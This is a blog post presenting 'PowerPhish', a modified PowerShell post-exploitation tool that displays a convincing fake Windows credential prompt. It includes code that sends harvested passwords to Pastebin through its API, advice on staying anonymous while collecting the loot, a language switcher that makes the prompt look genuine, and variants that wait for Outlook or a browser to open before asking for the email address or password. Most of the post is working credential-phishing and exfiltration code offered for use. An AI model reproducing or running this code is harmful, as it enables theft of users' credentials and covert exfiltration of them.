01. Aug 2021

PowerPhish - PowerShell Post Exploit Phishing

Some time ago I stumbled upon Dviros/CredsLeaker↗. It uses built-in PowerShell functions to first ask for the username and password and then check if they are correct. I remember from the early Ducky-Scripts↗ that you always could do that with Get-Credential↗. But the window of the ‘Get-Credential’ function looked highly suspicious. Thanks to the mentioned repository it’s now possible to display the normal Windows security window instead of the old ‘Get-Credential’ window. The new window looks identical to the window that pops up when connecting to an RDP session or when using Microsoft SSO.

Microsoft Credential Window

The original repo uses either a web server or a USB thumb drive for loot delivery. I thought that Pastebin↗ could be an alternative here. It uses just e-mail registration and has a free-to-use API. If you use a disposable e-mail and log in to get the loot only via proxy/VPN, that`s pretty anonymous.

You can find my modified code here↗.

Pastebin inside PowerShell #

For the first part, I needed to implement the Pastebin API to PowerShell. This is done in two different steps. First, you need to get a temporary API key. For this a simple Invoke-RestMethod was used:

$body_login = @{
    api_dev_key = "DEVKEY"
    api_user_name = "USERNAME"
    api_user_password = "PASSWORD"

$api_user_key = Invoke-RestMethod -Method Post -Uri "" -Body $body_login
if ($null -eq $pastebin_api_key) {
    Write-Host -ForegroundColor Red "Please check network connectivity, username, password or developer key"

This returns the API key into the variable $api_user_key. To post data to Pastebin you then make a second request using Invoke-RestMethod again:

$body_post = @{
    api_option = "paste"
    api_user_key = $api_user_key
    api_paste_private = "2"
    api_dev_key = "DEVKEY"
    api_paste_code = "PASTE CONTENTS"
    api_paste_name = "PASTE NAME"

Invoke-RestMethod -Method Post -Uri "" -Body $body_post
if (!$?) {
    Write-Host -ForegroundColor Red "Please check network connectivity, username, password or developer key"

The options you can use while making a POST request are listed on the Pastebin API documentation↗. This includes options like an expiration date, the format (if you would upload code, you would get syntax highlighting), or if your paste is private or public.

Modifying credsleaker #

I removed the leaker function as well as the switch code in the beginning. Since in the original repo, the window text is only available in English, I added a language switcher. It uses the Get-WinUserLanguageList function. This returns an array of installed display languages. The first element is the language with the highest priority, so the script uses index 0.

$target = "Microsoft Windows"
$caption_en = "Enter your credentials"
$message_en = "These credentials will be used to connect to $target"
$caption_de = "Anmeldeinformationen eingeben"
$message_de = "Diese Anmeldeinformationen werden beim Herstellen einer Verbindung mit $target verwendet."

$language = (Get-WinUserLanguageList)[0].LanguageTag
switch ($language) {
    en-AU {$caption = $caption_en;$message = $message_en}
    en-BZ {$caption = $caption_en;$message = $message_en}
    en-CA {$caption = $caption_en;$message = $message_en}
    en-CB {$caption = $caption_en;$message = $message_en}
    en-GB {$caption = $caption_en;$message = $message_en}
    en-IN {$caption = $caption_en;$message = $message_en}
    en-IE {$caption = $caption_en;$message = $message_en}
    en-JM {$caption = $caption_en;$message = $message_en}
    en-NZ {$caption = $caption_en;$message = $message_en}
    en-PH {$caption = $caption_en;$message = $message_en}
    en-ZA {$caption = $caption_en;$message = $message_en}
    en-TT {$caption = $caption_en;$message = $message_en}
    en-US {$caption = $caption_en;$message = $message_en}
    de-AT {$caption = $caption_de;$message = $message_de}
    de-DE {$caption = $caption_de;$message = $message_de}
    de-LI {$caption = $caption_de;$message = $message_de}
    de-LU {$caption = $caption_de;$message = $message_de}
    de-CH {$caption = $caption_de;$message = $message_de}
    default {$caption = $caption_en;$message = $message_en}

Variants #

Variant Outlook #

A friend of mine suggested that you could use this method to hunt for more than Windows credentials. The idea was to wait until a software of choice was launched and then ask for credentials to that software. Since Microsoft Outlook was my first idea, I went with that.

Since the credential window needed to look realistic, I wanted to display the user’s e-mail address when asking for credentials. There is a module↗ that does exactly that. Unfortunately with UAC enabled this opens a prompt and would alert the user. After some brainstorming, I came up with a much simpler method. Outlook store all its data inside a .pst or .ost file. The filename is simply the e-mail address. Those files are stored in %APPDATA%. With the code below, you can scan for such files and simply remove the file extension for the full e-mail address.

function Get-Email() {
    $email_file = Get-ChildItem $env:LOCALAPPDATA\Microsoft\Outlook -File -Recurse -Include *.ost, *.pst | Select-Object Name -ExpandProperty Name -first 1
    $email_name = $email_file.Substring(0,$email_file.Length-4)
    if ($null -eq $email_name) {
        Write-Host -ForegroundColor Red "Error while getting the e-mail address"
    } else {
        return $email_name

With all the information complete I wait for a process with the name OUTLOOK.

function Wait-Outlook() {
    while ($true) {
        $process_list = Get-Process | Select-Object ProcessName -ExpandProperty ProcessName
        if ($process_list -clike '*OUTLOOK*') {
        } else {
            Start-Sleep -Seconds 3

Validating the entered credentials is hard since MS Exchange is likely gonna require 2FA and most companies disable the access via SMTP of O356 accounts. If the user uses POP/IMAP instead of Exchange, it would be simple to test, but I haven’t found files or registry keys where the server connection strings (address, port, auth type) are directly present.

You can find this script under Variants↗.

Variant Browsers #

This does the same thing as with the Outlook variant but for some common browsers and it validates the credentials. This script can also be found under Variants↗.

function Get-Browser() {
    while ($true) {
        $process_list = Get-Process | Select-Object ProcessName -ExpandProperty ProcessName
        if ($process_list -clike '*firefox*') {
            return "Mozilla Firefox"
        if ($process_list -clike '*chrome*') {
            return "Google Chrome"
        if ($process_list -clike '*msedge*') {
            return "Microsoft Edge"
        Start-Sleep -Seconds 3